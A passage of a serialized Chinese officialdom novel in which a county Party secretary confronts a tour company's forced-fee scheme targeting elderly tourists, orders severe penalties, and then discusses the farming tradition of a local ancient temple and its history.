“与莲湖湾的自然风光相结合,形成‘自然生态+历史文化’的双核驱动模式,这才是溪都旅游提质升级的方向。”
这番话,清晰、明确,几乎勾勒出了一个具体的项目轮廓。
这绝不是即兴发挥,而是深思熟虑后的想法。
秦怡听完,激动之情溢于言表,白皙的脸颊因为奔跑和兴奋泛起红晕:“那太好了!”
她的声音带着难以抑制的振奋,“书记,这不仅仅是我的想法,这是我们梦寐以求的啊!不,”她立刻修正道,眼神无比真诚,“这应该是我们全局上下梦寐以求的目标!”
“我们多次研讨过莲湖湾及周边资源的整合开发方案,但总觉得缺一个强有力的抓手和清晰的定位。”
“您提出的这个‘双核驱动’思路,把进士坊的保护性开发纳入进来,简直是神来之笔!”
“这盘棋一下子就活了!”
她的反应热烈而真诚,充满了专业工作者看到理想蓝图有望实现的激动。
江昭宁不动声色地看着她,心中对她的评价又添了一分:有热情,有想法,反应快,而且懂得将个人诉求转化为集体目标来表达,分寸感依然很好。
就在两人沉浸在对未来规划的讨论中,脚步沿着滨江步道跑过一片浓密的香樟树林时,异变陡生!
前方不远,一棵需数人合抱的大樟树下,停着一辆显眼的白色旅游大巴。
这辆车停的位置有些突兀,并非在规划好的停车区。
更引人注目的是,大巴紧闭的车窗内,清晰地传出了激烈的争执声!
“砰!”一声闷响,似乎是什么东西砸在了车窗内侧。
“你们这是欺诈!赤裸裸的欺诈!”一个苍老但极其愤怒的声音穿透了车窗,带着颤抖。
“就是!说好的纯玩团,现在又加这么多自费项目!我们不交!”
“对!退钱!我们要下车!”
“各位叔叔阿姨,冷静!冷静点听我说……”一个年轻男子焦急辩解的声音响起,但立刻被更高的声浪淹没。
“听你说什么?合同上写得清清楚楚!”
“现在又拿出这张破纸让我们签补充协议?当我们老糊涂好糊弄吗?”
“撕了它!撕了!……”
争吵声越来越高亢,混杂着愤怒、委屈和导游徒劳的劝阻。
车窗玻璃被拍打得砰砰作响,隐约可见车内人影晃动,情绪激动。
江昭宁和秦怡几乎同时放慢了脚步,最终在大巴侧面几米外停了下来。
两人的目光都锐利地投向那辆躁动不安的大巴。
江昭宁的眉头瞬间紧锁,刚才谈论莲湖湾蓝图时的舒展神情消失殆尽,取而代之的是面对突发状况时特有的凝重和威严。
他锐利的目光扫过车身喷涂的旅行社名称——“东山假期”,一个并不算小的本地旅行社,又看向混乱的车窗内。
这大清早的,在游客集散地或景区门口发生争执不奇怪。
但在晨跑必经的沿江大道旁,一辆大巴停在这里发生如此激烈的争吵。
显得异常蹊跷,也极其刺眼。
秦怡的脸色也变了,刚才的兴奋潮水般褪去,换上了震惊和职业性的警惕。
作为旅游局的工作人员,她太清楚这种现场纠纷的破坏力了。
她下意识地看向江昭宁,声音压低了,带着急切和一丝请示的意味:“书记,是旅游纠纷!”
“看情况挺严重的,游客情绪很激动!”
秦怡远远望见那车里攒动的人影,心头一紧。
旅游大巴车窗内,一个穿黄马甲的年轻导游正挥动手中几张纸,声音刺热空气:“……行程就这么安排,大家签个补充协议,费用现场交!”
车里顿时炸开了锅。
几位白发老人脸上汗珠滚落,混着焦急与不解,“作孽啊……说好的纯玩团,怎么还要加钱?”
可那年轻的男导游却毫无退让之意,眉头紧锁,将几张打印纸强硬地往前又推了推:“大爷大妈,出来玩嘛,图个开心!”
“这点钱算什么?”
“不签字的话,车不能开,交的钱也不能退!”
一个头发花白的老大爷,气得手直哆嗦,将手里的纸片狠狠撕碎,碎片像雪花一样飘落在晨风中。
“骗子!你们就是骗子公司!”
第157章 一文钱也不能加!
“打电话!打电话投诉!打12301旅游服务热线!”
“对!曝光他们!”
……
就在这时,“哗啦”一声,大巴的前门被猛地推开。
一个穿着旅行社马甲、戴着扩音器的年轻男导游,脸色煞白,被几个情绪激动的老年游客几乎是推搡着下了车。
老人们手里挥舞着几张纸,愤怒地指着导游的鼻子斥责。
导游狼狈地试图解释,但声音完全被淹没。
场面一片混乱。
更多的游客挤在车门处,群情激愤。
而那位年轻的导游,在几位愤怒老人的推搡下,一个趔趄,眼看就要摔倒。
“住手!”一声低沉而极具穿透力的喝止骤然响起,并不十分响亮,却带着一种不容置疑的威严,瞬间压过了现场的嘈杂。
所有人都是一怔,争吵声戛然而止。
推搡的动作也停了下来。
众人的目光齐刷刷地投向声音的来源。
江昭宁面色沉静如水,眼神却锐利如刀,大步流星地走到了人群面前。
他高大的身影在晨光中投下长长的影子,那股久居上位、不怒自威的气势,让混乱的现场瞬间安静了下来。
他虽然穿着的只是一身运动服,但此刻散发出的气场,却让所有人都意识到——这个人,绝不普通。
秦怡紧随其后,迅速从运动服口袋里掏出一个小巧的工作证,在那些愤怒的游客和惊慌的导游眼前亮了一下,声音清晰而沉稳:“大家冷静!”
“我是县旅游局的工作人员秦怡!”
“这位是我们县委江**!有什么问题,慢慢说清楚,我们一定会公正处理!请先放开导游!”
“县委……**?”
“旅游局?”
人群中响起一片难以置信的惊呼和倒吸冷气的声音。
那几个抓着导游的老人,下意识地松开了手。
导游惊魂未定地站稳,看着眼前这位不怒自威的运动服年轻男子和亮明身份的秦怡,脸上血色尽褪,只剩下惊恐和茫然。
江昭宁的目光缓缓扫过在场的每一位游客,最后落在导游和地上被撕碎的纸片上。
滨江大道清新的空气,此刻仿佛凝固了,充满了紧张和探究的气息。
秦怡一眼扫过导游手中那叠醒目的“补充协议”,心猛地一沉,一股火气直冲头顶。
她一步跨到人群前,声音带着不容置疑的力度,如同金石坠地:“各位大爷大妈,你们出来一趟不容易,山高水远,是冲着咱们东山的风光,更是冲着那份安心!”
“搞这种自费的补充协议,不对!”
她的目光如炬,直直射向那脸色开始发白的导游:“合同白纸黑字,你们公司是金字招牌还是纸糊灯笼?”
“这样明晃晃地欺客,砸的不只是牌子,是人心!”
“说得对!”江昭宁的声音紧随其后,斩钉截铁,像重锤击打在每个人的心上,“一文钱也不能加!”
“大爷大妈们是出来寻开心、看山看水的,不是来花钱买罪受、买不开心的!”
他目光如电,扫过导游那张汗涔涔的脸。
那年轻人不由自主地缩了缩脖子。
江昭宁转向焦虑的老人们,语气沉稳如山:“请各位放心,这事,我管定了。”
他随即侧身,对秦怡果断下令:“马上联系东山假期,换导游!立刻!”
“不能耽搁大爷大妈们的行程。”
“好!”秦怡应声如风,手机早已握在手中。
电话接通,她的声音在暑气里显得异常清冽:“东山假期童总吗?我是秦怡。”
“你们公司的导游在沿江大道这里,和银发团的老人起了严重冲突,强制加自费项目!”
“这样的态度,绝不适合带队,请立刻派一位女导游过来顶替!”
电话那头的童总显然慌了神,一连串的“是是是”透过听筒传来,唯唯诺诺,不敢有半句推诿。
在旅游局这座大山面前,任何旅游公司都清楚硬扛的后果。
江昭宁再次面对老人们,声音温和下来,却依旧字字千钧:“大爷大妈们,问题解决了。”
“新的导游马上就到,一分钱也不会再加!”
“你们安心去玩,好好享受东山的风景。”
“我们欢迎大家监督工作,有任何问题,随时找我江昭宁!”
一场眼看就要爆发的风暴,在江昭宁与秦怡的雷霆手段下,竟如沸汤泼雪般迅速平息。
空气里紧绷的弦松弛下来,大爷大妈们紧锁的眉头舒展了。
他们相互低声交谈着,那份积压的怨气被信任所取代,重新漾开
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轻松的笑意。
不多时,一辆小巧的电瓶车匆匆驶来。
车上跳下一位笑容温婉、声音柔和的女导游。
她利落地引导着老人们上车,动作轻柔,语气耐心。
旅游大巴的引擎重新低沉地轰鸣起来,载着满车释然的心和重新点燃的期待,缓缓驶离,汇入远方道路的车流。
最终消失在视线的尽头,仿佛载走了一场刚刚过去的梦魇。
喧嚣远去静。
秦怡这才缓缓转过身,目光如冰冷的探针,直直刺向那个呆立在原地、脸色灰败如纸的年轻男导游。
他额上的汗珠此刻已分不清是热的还是吓的,黄马甲湿漉漉地贴在背上。
手里那几张惹祸的“补充协议”早已被他无意识地揉捏得不成样子。
如同他此刻彻底坍塌的侥幸心理。
秦怡一步步走近,每一下都像敲在那导游绷紧的神经上。
她停在他面前,声音不高,却字字带着千钧的寒意,“说好的纯玩团,白纸黑字的契约。”
“到你这儿,就成了可以随意往上摞砖头的土坯墙?”
她微微倾身,锐利的目光逼视着他躲闪的眼睛,“谁给你的胆子,敢这样明目张胆地加价?”
“加的还是这些辛苦了一辈子、省吃俭用才出来一趟看世界的老人?”
导游喉结艰难地滚动了一下,嘴唇哆嗦着,试图辩解:“秦……秦股长,公司……公司那边也有压力……”声音细若蚊蚋,毫无底气。
“压力?”秦怡的声音陡然拔高,像冰锥碎裂,“什么压力大得过‘信义’二字的分量?”
“游客付钱买的是信任,买的是你们承诺的服务!”
“你们公司赖以立足的是什么?是风景?是车辆?都不是!”她猛地一挥手,指向大巴消失的方向,“是口碑!是诚信!”
“是大家口耳相传的金字招牌!”
她的话语如同鞭子,抽打在导游身上:“今天你敢为一己之私,巧立名目,强收费用。”
“明天游客就敢把你们公司的名字钉在耻辱柱上,口口相传!”
“一个失去了信誉的旅游公司,就像大暑天里断了根的树,还指望能活多久?”
她的声音冷得像数九寒冰,“等着看吧,关门大吉就是你们唯一的终点站!”
第158章 **会?!
每一个字都像烧红的烙铁,烫在导游的心上。
他脸上最后一丝血色也褪尽了,身体控制不住地微微颤抖起来,头深深地垂下去,恨不得钻进滚烫的地缝里。
他手里那几张皱巴巴的补充协议,此刻重若千钧,仿佛捏着一块块烧红的炭。
秦怡不再看他,仿佛多看一眼都是污染。
江昭宁与秦怡离开了,留下了呆若木鸡的年轻导游。
江昭宁边走边道:“冰冻三尺,非一日之寒。今天这个导游,只是冰山浮出来的一角。”
“根子,怕是在他们公司那套唯利是图的运作机制上。”
秦怡深深吸了口气,凉意入肺,却压不下心头的沉重:“江**,您说得对。”
“这次是撞到我们眼前了,那些没撞见的呢?”
“那些被悄悄宰了还忍气吞声的游客呢?”
“东山的口碑就是这样一点一滴被啃噬掉的。”
江昭宁顿了顿,声音异常清晰,“必须深挖,必须严惩,给行业立个规矩!”
“嗯。你通知旅游局长林方政,马上着手,联合工商、消协,对东山假期进行全面稽查。”
“从合同文本到实际执行,从收费标准到游客投诉记录,一个环节都不能放过。”
“重点是这种‘补充协议’的泛滥,背后有没有系统的、默许的强制消费链条。”
“查!一查到底!”
他转过头,目光如磐石般坚定,落在秦怡脸上:“处罚要快,更要准!”
“该停业整顿就停业整顿,该吊销资质也绝不手软。”
“我们不但要替今天这些老人讨回公道,更要让整个东山的旅游市场都看清楚,在游客身上动歪心思,就是自掘坟墓!”
秦怡重重地点头,眼神锐利:“明白。我马上通知林局长,立刻组织人手,成立专项调查组。”
她拿出手机,打出了电话。
听说是县委**的指示,林方政哪肯怠慢,马上开始了专项调查。
阳光透过云层出来了。
那年轻的男导游依旧像根木桩般杵在巨大的阴影里,手里那几张揉烂的纸,仿佛成了他卸不下的罪枷。
远处,一辆不起眼的黑色轿车悄然停下,几个表情严肃、胸前挂着工作证的人推门下车,径直朝他走来。
为首一人亮出证件,声音不带一丝温度:“我们是县旅游联合调查组的。”
“关于东山假期旅游公司涉嫌强制消费、违反合同的问题,请你配合我们,回去详细说明情况。”
导游猛地抬起头,眼中最后一点侥幸的光彻底熄灭,只剩下无边无际的灰败和恐惧。
他知道,那辆开走的旅游大巴载走的不仅是一车游客的欢笑,更载走了他**以为常的“生财之道”。
而他和他所代表的扭曲规则,在朗朗乾坤下,已无处藏身。
碰上了县委**,自己及公司这一下都别想有好日子过了!
周一清晨的阳光穿过县委大楼明净的玻璃幕墙,在地板上投下长长的、棱角分明的光带,带着一种秩序感。
林方政步履匆匆,皮鞋踏在光洁如镜的大理石地面上,发出清晰而略带急促的回响。
他手中紧握着那份沉甸甸的《关于东山假期旅游公司强制消费问题初步调查报告》,指关节因用力而微微发白。
这份报告仿佛一块烧红的烙铁,烫得他掌心发麻。
他来到江昭宁的办公室。
门敞开着。
只有林夕在整理着几份文件,动作利落。
“林秘书,早上好!”林方政努力让自己的声音听起来平稳,“江**在吗?”
“我来汇报‘东山假期’那边的情况。”
林夕闻声抬起头,脸上带着职业化的微笑,眼神却锐利:“林局长,您来了。”
“江**刚不久出了办公室。”
“他特意交代,请您直接去**会议室汇报。”
他顿了顿,清晰地补充道,“**会临时调整了议程,全体**都在,就等您了。”
“**会?!”林方政的声音不由自主地拔高了一度,瞬间感觉一股寒气从脚底板直冲天灵盖。
他脸上的肌肉似乎僵住了,那份报告仿佛瞬间重了十倍。
不过是处理一个导游的违规收费问题,顶多牵扯出一个公司管理不善,竟然要惊动整个县委**班子?
这重视
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程度,简直是把他架在火上烤!
一点“小事”被无限上纲上线到如此地步?
他只觉得头皮一阵发麻,后背的衬衫瞬间被冷汗浸透,黏腻地贴在皮肤上。
“是的,林局长,请跟我来。”林夕的声音依旧平稳,做了个请的手势。
林方政深吸一口气,努力压下心头的惊涛骇浪,喉结艰难地滚动了一下,只能硬着头皮,像踩在棉花上一样,跟在林夕身后。
每一步都仿佛踏在即将崩塌的冰面上。
**会议室那扇更为厚重、带着庄严气息的大门,在他眼前缓缓打开。
会议室里,椭圆形的巨大红木会议桌占据了中心位置,庄严肃穆。
此刻,所有座位都坐满了人。
江昭宁端坐主位,神情沉静如水,目光却如同深潭,锐利地投向门口。
其他**们分坐两侧。
有的微微蹙眉翻看着手头的材料,有的靠在椅背上若有所思。
空气仿佛凝固了,弥漫着一种无形的、令人窒息的巨大压力。
阳光透过百叶窗的缝隙,在桌面上切割出明暗相间的条块,如同森严的审判席。
“江**,各位领导,”林方政的声音带着不易察觉的微颤,他走到留给他的汇报席位置,感觉所有人的目光都像探照灯一样聚焦在自己身上,几乎要将他的报告灼穿,“关于东山假期旅游公司强制消费问题,现在由我进行初步汇报。”
他翻开报告,纸张摩擦的声音在寂静的会议室里显得格外刺耳。
他强迫自己稳住心神,视线落在文字上,仿佛那是唯一的浮木:“遵照江**前天上午的紧急指示。”
“我局在第一时间联合县工商行政管理局、消费者协会,组成专项联合调查组,立即对东山假期旅游公司展开了全面、深入的稽查工作。”
他的语速开始加快,努力展现出专业和效率,“稽查覆盖范围包括:公司所有在用旅游合同范本、近一年内所有团队的实际执行情况、各项旅游产品的具体收费项目及标准、以及公司近三年所有登记的游客投诉记录及处理结果。”
“可以说,一个环节都没有放过。”
第159章 刮骨疗毒
林方政停顿了一下,目光扫过在座的**们,重点落在江昭宁沉静的脸上:“本次稽查的核心焦点,是查清涉事导游郭通强制要求老年游客签署并缴纳所谓‘补充协议’费用的恶性事件。”
“调查组着重深挖两个核心问题:其一,这是郭通个人的胆大妄为、铤而走险?”
“其二,还是东山假期公司层面存在系统性的、被默许甚至纵容的强制消费链条?”
“江**指示,必须一查到底!”
林方政的声音陡然低沉下去,带着一种沉重的负疚感:“在汇报初步处理意见之前,我首先代表县旅游局,向县委、向各位**,作出深刻检讨!”
他挺直了腰背,语气沉痛,“旅游市场乱象丛生,尤其是景点周边及行程中各种名目的滥收费问题长期存在,屡禁不止,严重损害了游客权益和我市旅游形象。”
“作为旅游主管部门的主要负责人,我难辞其咎,负有不可推卸的监管不力、甚至渎职之责!”
这份主动担责的姿态,让会议室里凝重的气氛微微波动了一下。
几位**交换了眼神。
林方政随即话锋一转,语气变得斩钉截铁:“经过两天两夜高强度的调查取证。”
“包括突击检查公司财务账目、约谈公司管理层及核心业务人员、调取涉事导游郭通近半年的带团记录及游客评价、并秘密回访了多位近期参加该公司‘纯玩团’的游客后,调查组现已查明:导游郭通强制收取‘补充协议’费用的行为,绝非其个人孤立事件!”
他翻开报告的下一页,声音清晰有力:“证据表明,东山假期公司内部存在一套隐形的‘激励机制’和‘成本转嫁’模式。”
“公司将部分基础运营成本,如车辆高额租金、部分低利润线路的保底成本通过极其隐晦的方式,变相转嫁到导游个人头上。”
“导游为了完成公司变相摊派的任务指标并获取更高提成,便动起了歪脑筋,将目光瞄准了游客身上,巧立各种名目收取‘补充费用’,如郭通使用的所谓‘补充协议’。”
他举起一份复印的内部文件,“这份是公司财务部与运营部内部通传的备忘录,清晰地标注了几条重点线路的‘预期人均附加收益’指标!”
“郭通的行为,正是在这种公司默许甚至纵容的畸形机制下催生的必然恶果!”
“公司管理层对此,负有直接、重大的主体责任!”
“基于以上铁的事实和证据,”林方政提高了音量,宣布处理决定,“专项调查组经审慎研究,现对涉事主体拟作出如下处理意见。”
他目光如炬,一字一顿:“第一,对东山假期旅游公司责令其即日起停业整顿七天!”
“全面清理内部违规文件、立即废止所有变相摊派给导游的‘附加收益’指标,彻底整改内部管理机制!”
“并处行政罚款人民币贰万元整!”
“停业整顿期间,由我局派驻工作组进驻监督,整改不达标,绝不允许恢复营业!”
“第二,对直接责任人、涉事导游郭通,依据《导游人员管理条例》及相关规定,对其作出如下处罚:一次性扣除年度导游服务质量分10分。”
“暂扣其导游证六个月。”
“并处行政罚款人民币贰仟元整!”
“同时,要求其必须重新参加并通过由我局组织的职业道德规范及法律法规专项培训学习,考核合格后方可申请取回导游证。”
“第三,针对此次事件暴露出的我市旅游市场深层痼疾,”林方政语气坚决,“我局将以‘东山假期’事件为深刻教训和有力契机,立即在全县范围内启动为期三个月的‘旅游市场秩序专项整治雷霆行动’!”
“行动将聚焦合同欺诈、强制消费、价格虚高、虚假宣传等游客深恶痛绝的顽瘴痼疾,坚持‘零容忍’态度,发现一起,严查一起,曝光一起!”
“坚决做到处罚一个,震慑一片,规范一行!”
“重塑我县‘诚信旅游、放心消费’的金字招牌!”
汇报完毕,林方政合上报告,微微欠身:“我的初步汇报完毕,请江**和各位**指示。”
会议室里陷入了短暂的、令人心悸的沉默。
**们的目光都集中到了主位的江昭宁身上。
江昭宁一直安静地听着,手指无意识地轻敲着光滑的桌面。
当林方政话音落下。
他缓缓抬起头,目光扫过全场,最终定格在林方政那张带着紧张与决然并存的脸上。
他的眼神深邃,仿佛蕴藏着风暴。
“方政同志,”江昭宁开口了,声音不高,却带着一种千钧的定力,瞬间压住了全场所有的杂音,“你的汇报,我听得很清楚。”
“周六周日联合调查组的行动,是迅速的。”
“初步的调查结论,是扎实的,敢于刀刃向内、主动担责的态度,是值得肯定的。”
他话锋陡
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然一转,如同冰层破裂,寒意骤生:“但是!”这个但是如同重锤,砸在每个人心上,“对东山假期公司的处理,停业整顿七天?罚款两万?”
“你们旅游局,是去给他们挠痒痒的吗?还是在隔靴搔痒?!”
江昭宁的身体微微前倾,目光锐利如刀,直刺林方政:“如此明目张胆地系统性欺诈游客,把契约精神踩在脚下,把市场规则视若无物!”
“把一个辛苦攒钱出来看世界的老人团当作待宰的肥羊?”
“这样的公司,它的心已经烂了!”
“它的经营模式,就是建立在掠夺游客信任的基础之上!”
“停业七天?七天之后呢?换汤不换药,死灰复燃?!”
“两万罚款?对他们而言,不过是九牛一毛,甚至可能成为他们下一次变本加厉的成本!”
他的声音陡然拔高,带着雷霆般的怒意,在肃静的会议室里轰然炸响,震得人耳膜嗡嗡作响:“这样的处罚,不足以正本清源!”
“不足以震慑魑魅魍魉!”
“更不足以告慰那些被欺骗、被伤害的游客!”
江昭宁猛地一拍桌子,巨大的声响让在座所有人都心头一跳!
他目光如炬,一字一句,斩钉截铁,带着不容置疑的最终裁决力量:
“一、东山假期旅游公司,即刻吊销其旅行社业务经营许可证!永久清退出东山市旅游市场!”
“其违法线索,同步移交**机关经侦部门,深挖是否存在**、商业贿赂等刑事犯罪!”
“二、涉事导游郭通,吊销其导游证!终身禁止在东山市从事旅游及相关行业!”
“其个人涉嫌强制交易等违法行为,由**机关立案侦查!”
“三、县旅游局牵头,工商、**、物价、消协等多部门联动,立即启动对全市所有旅行社的‘刮骨疗毒’式大排查、大整顿!”
“凡有类似‘东山假期’模式、存在系统性强制消费或欺诈行为的,有一个查一个,查实一个,坚决吊销一个!绝不姑息!绝不手软!”
“四、林方政同志,作为旅游主管部门主要负责人,监管失察,负有领导责任。”
“责令其向县委作出深刻书面检查外,并在全市旅游系统干部大会上公开检讨!”
“同时,责成县旅游局党组,立刻拿出切实可行的长效监管机制方案,一周内上报县委!”
每一个字都像淬火的钢钉,狠狠砸进现实。
第160章 有一座千年古刹?
林方政只觉得眼前一阵发黑,江**宣布的处罚决定,其严厉程度远远超出了他的想象,也远远超出了那份报告上的初步意见!
吊销执照!永久清退!终身禁入!移交**!
这已不是整顿,而是彻底的、毁灭性的清除!
是针对整个行业病灶的“刮骨疗毒”!
会议室内一片死寂,落针可闻。
所有**都屏住了呼吸,**昭宁这雷霆万钧、不留一丝余地的铁腕所震慑。
空气中弥漫着硝烟散尽后的冷冽与肃杀。
“各位,”江昭宁的声音恢复了沉静,却带着千钧之力,“旅游,是我县的产业之一,更是脸面!”
“金字招牌的建立,需要几代人的心血;而砸掉它,只需要几个郭通,几个‘东山假期’!”
“我们容忍不了一个蛀虫,毁掉整片森林!”
“容忍不了一粒老鼠屎,坏了一锅好汤!”
“对破坏市场秩序、侵害群众利益的行为,县委的态度只有一个:零容忍!露头就打!除恶务尽!”
“还东山的青山绿水,也还旅游市场一片朗朗晴空!”
他环视全场,目光最终落在脸色苍白、额头布满细密汗珠的林方政身上:“方政同志,执行吧。”
“用最坚决的行动,回应县委的决心,回应老百姓的期待!”
“是!江**!”林方政猛地挺直身体,声音洪亮而嘶哑,带着一种破釜沉舟的决绝,“坚决执行县委**会决定!立刻落实!”
会议结束。
林方政脚步沉重地走出那扇仿佛能吞噬一切的大门,外面走廊的阳光依旧明亮,却照得他有些恍惚。
他手里那份原本沉甸甸的《初步调查报告》,此刻轻飘飘的,像一张废纸。
然而,刚下楼来到停车场的林方政,他的手机又响了起来。
“林局长,你到我办公室来一下。”电话那头的声音不高,却像一块冰棱直透耳膜。
“是!”他一个激灵,脱口应道。
来电的是江昭宁!
这位雷厉风行、作风犀利的**,散会后突然又主动召唤,是福是祸?
林方政只觉视网膜上晃过模糊的轮廓,心脏像被一只无形的手攫住,沉重地撞击着胸腔。
他只得回身向江昭宁的办公室走去。
终于,在那扇厚重的、标识着“**”的木门前站定,稍稍平复几乎要撞破胸膛的呼吸,屈指叩响。
“进来。”声音清晰而平静。
林方政推门而入。
江昭宁并未如常见般隔着宽阔的办公桌端坐。
而是背向门口站在明亮的落地窗前,颀长的身姿剪影般映在巨大的玻璃上,窗外县城鳞次栉比的建筑背景反衬着他身影的沉默分量。
偌大的办公桌如同沉默的壁垒,桌上文件分门别类,那部电话尤为触目。
“林局长,坐!”江昭宁转过身,目光锐利如探照灯般,虽未带上惯常的含笑意气,但面色尚算平和。
江昭宁走过来,坐在办公桌后的椅子上。
“是!”林方政几乎是屏息凝神地在那张线条冷硬的客椅上坐下。
他的腰背挺得笔直,双手恭敬地置于膝上,与办公桌另一边那座不动声色的“山岳”恰似隔着无形对峙的楚河汉界。
他垂目盯住自己有些灰白光泽的皮鞋尖,揣测着领导这难得亲召背后的汹涌暗流。
“我们东山,有一座千年古刹?”江昭宁终于开口,语气像是寻常闲谈,目光却牢牢锁定在林业政脸上,一丝微小的表情变化都无所遁形。
林方政心头微微一松,悬在断崖边上的心总算缓降了一寸。
他立刻接道:“是的,叫清凉寺!坐落在云栖山,始建于唐贞观年间,已有快一千五百年香火了。”
提到本县重要的宗教文化名片,他专业素养里的自信稍许复苏。
这座古寺,不仅曾是历代帝王颁赐的皇家道场,更是无数信众心中的朝圣地。
“哦,”江昭宁微微颔首,目光扫过林方政,像在审视一件需重新定价的古董,“那里……想必香火极其鼎盛吧?”
“还行……这两年游客量比鼎盛时略降了些,但宗教活动仍很稳定。”林方政斟酌着词句,语气保留了几分谨慎的余地。
“还行?”江昭宁的眉头极细微却极清晰地蹙了起来,如同
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平静湖面掠过一道冰裂之痕。
他靠回椅背,食指轻轻敲击着光滑桌面,节奏似带着某种隐忍的力道。“林局长,堂堂一座千年古刹,承载多少历史底蕴和文化价值?”
“你这位旅游局的当家人,对它的细节……就一个‘还行’?知之不多?”
声音不高,字字却像淬了薄冰的小箭,精准地钉入林方政的耳膜。
一股凉气沿着林方政的脊椎爬升,额头立时渗出细密的、冰凉的汗珠,他能感觉到它们在鬓角悄然汇聚滑落的轨迹。
清凉寺的资料像纷乱的文件一样在脑海中飞速掠过,却似乎没有哪一项足够应对这种级别的质询。
他喉结滚动了一下,艰难应对:“江市长,清凉寺的情况……宏观层面我们一直有数据跟进,但具体到日常寺务……”
“具体?”江昭宁忽然截断他的话锋,身体微微前倾,目光如精准的勘探钻头,“他们那地方,是不是还坚持着‘一日不劳动,一日不吃饭’的老规矩?”
“推行那个……所谓的‘农禅并重’?”
林方政猛地捕捉到一丝微光,几乎是不假思索地应声而出:“是的!确有其事!”
“僧人们除了必要的法事和功课,每日都要参与田间劳作。”
“山上有禅田,种玉米、花生、豆子、蔬菜,力求自给自足。”他语速快了些,生怕再次落入“知之不多”的窘境。
“嗯……”江昭宁鼻翼轻轻翕动了一下,脸上那片严霜似乎融化了一丝微不可查的涟漪。
他向后靠去,目光投向窗外远处那云雾缭绕的山峰方向,仿佛在回溯一段尘封的时光。“那一年……五年前的秋天吧,稻熟豆香的时节,我去了趟清凉寺。”
他声音不高,带着一种陷入回忆的平缓质感,不再是对下属的审视,倒像是自言自语。
林方政微愕之后,立刻紧绷了所有神经,专注捕捉这难得的情绪流露所透露的信息量,字句重似千钧,他不敢怠慢。
“不是公干,”江昭宁嘴角罕见地牵起一个极淡的笑意痕迹,“就是慕名而来……想去透透气。”
“进了山门,很幽静。”
第161章 真境界
“天王殿、大雄宝殿,挨着转了一圈,静悄悄的,后来顺着侧边一条小路,绕过藏经楼,往后山走。”
“再往上,空气更清凉了。”
“豁然一片缓坡梯田铺开在眼前——好家伙!金黄的玉米棒子挂在秆上,油绿的花生藤铺满垄沟,更显眼的是一片片刚收割的大豆杆,饱满的豆荚在秋阳下闪着棕褐色的光。”
“穿着粗布海青的师父们,卷着袖子,正在劳作呢。”
他的描述渐次清晰,画面在言语中次第浮现,充满劳动的烟火质感。
“那一趟,除了入门香花钱,”江昭宁语气带着一丝几近玩味的回甘,“我是真正的一文没往外掏。”
“快下山时,在寺门口还撞见几个师父正拿着大簸箕给零星的信众分发新收的黄豆呢。”
“粒粒饱胀,色泽鲜亮得晃人眼。”
“说是寺里丰收,分享功德。”
“硬是给我怀里也塞了沉甸甸一大袋。”
“据我所知,他们吃不完的农作物全部都送给敬老院、福利院或作为礼物送给游客和信众。”
他顿了顿,目光回到林方政汗涔涔的脸上,那丝玩味与平和都收束了,剩下的是直透心腑的审视,“说实话,那个场面,让我记到今天。”
“是的,还,还凑合。”
“肃穆的庙堂钟鼓,鼎盛时熙攘的香火烟雾气,本该是虚无缥缈的焚香诵经之地,可那片金灿灿的庄稼地,那晒场上浓郁的油料和土腥气。”
“还有师父们劳作时脸上那层晶亮的汗水——这‘人间烟火气’,与‘古寺焚香气’硬是搅和到一块儿去了。”
“融合得……一点都不生硬,反而觉得本该如此。”
“你说,这‘还凑合’?”最后一句,尾音沉落,字字千钧,如同巨石压向林方政。
汗水顺着林方政的眉弓滑落,在下颚处汇聚,悄然无声滑落。
他只能机械地回应:“……是,是挺好。”
每一个字都仿佛被无形的海绵吸干水分,干涩异常。
江昭宁的目光重新聚焦在林方政脸上,深邃而有力:“这才是扎根在我们这片土地上的真修行,真境界。”
他轻轻叩击着桌面,“寺庙,固然是四众弟子念经礼佛、过宗教生活的神圣道场。”
“但如果只知闭门诵经,远离生产,不沾地气,久而久之,恐怕就成了无源之水,无本之木。”
“经济上仰赖施舍,人格上如何真正独立?”
“精神上又怎能真正滋养众生?”
林方政只觉得额角的汗珠不断沁出,顺着鬓角滑下,只能不住地点头,连声称是。
江昭宁寥寥数语,不仅点出了清凉寺的特色,更如重锤般敲打在他心上——作为旅游局长,自己对这块文化瑰宝的理解,实在太肤浅、太失职了。
回溯历史长河,佛教初入中土之际,其僧侣的生存方式,确实如江昭宁所暗示的“不沾地气”那般,与华夏农耕文明的深厚土壤格格不入。
那时的沙门,严格遵循着源自古天竺的“乞食”制度。
晨曦微露,僧侣们便手持钵盂,次第行于街巷村落,依靠信众布施的一粥一饭维持生命与修行。
这在印度文化语境中,是僧人舍弃世俗、专心求道的象征,是清净离欲的体现。
然而,当这朵异域之花生根于中原大地时,其赖以生存的“乞食”方式,却遭遇了前所未有的强烈排异反应。
彼时的中国,早已建立起根深蒂固的小农经济体系。
“男耕女织”、“力田为本”不仅是生产模式,更是渗入骨髓的伦理价值和社会稳定的基石。
在这样的背景下,一群身强力壮、不事生产、仅靠他人供养为生的僧人群体。
在主流社会眼中,其形象迅速发生了危险的扭曲。
他们被贴上了“不劳而获”、“蠹虫”、“游食”等充满贬斥的标签。
东汉末年批判佛教的言论已露端倪。
及至魏晋南北朝,随着佛教寺院经济膨胀,僧尼数量激增。
这种矛盾更是空前激化。
北朝重臣崔浩、寇谦之等激烈抨击佛教,认为其“虚诞”,“为世费害”。
北魏太武帝拓跋焘在发动中国历史上第一次大规模灭佛运动(公元444-452年)前发布的诏书中,痛斥僧侣“假西戎虚诞,妄生妖孽……逃役之流,仆隶之类,避苦就乐……非所以壹齐政化,布淳德于天下也”。
字里行间,充满了对僧人脱离生产、消耗社会财富、影响国家赋税和徭役的强烈不满。
北周武帝宇文邕在发动第二次灭佛(公元574年)时,理由同样直指经济:“求兵于僧众之间,取地于塔庙之下”,“国治不在浮屠”。
托钵行走的身影,在儒家“不耕者不得食”的伦理审视下,竟成了动摇国本的游影。
佛教面临的,是一场关乎存亡续绝的严峻危机。
僧人的吃饭问题,这个看似基本却关乎生存根基的课题,已尖锐地摆在眼前。
若不能适应这片土地的经济形态与文化心理,佛教这株大树,恐有被连根拔起之虞。
在那风雨如晦的岁月里,释迦法脉,几度命若悬丝。
在烈焰边缘飘摇,几近窒息湮灭于历史烽烟之下。
生存的危机像达摩克利斯之剑高悬于头顶——神圣的信仰不能仅存在于云端,僧侣亦需与大地建立真实而坚韧的联系。
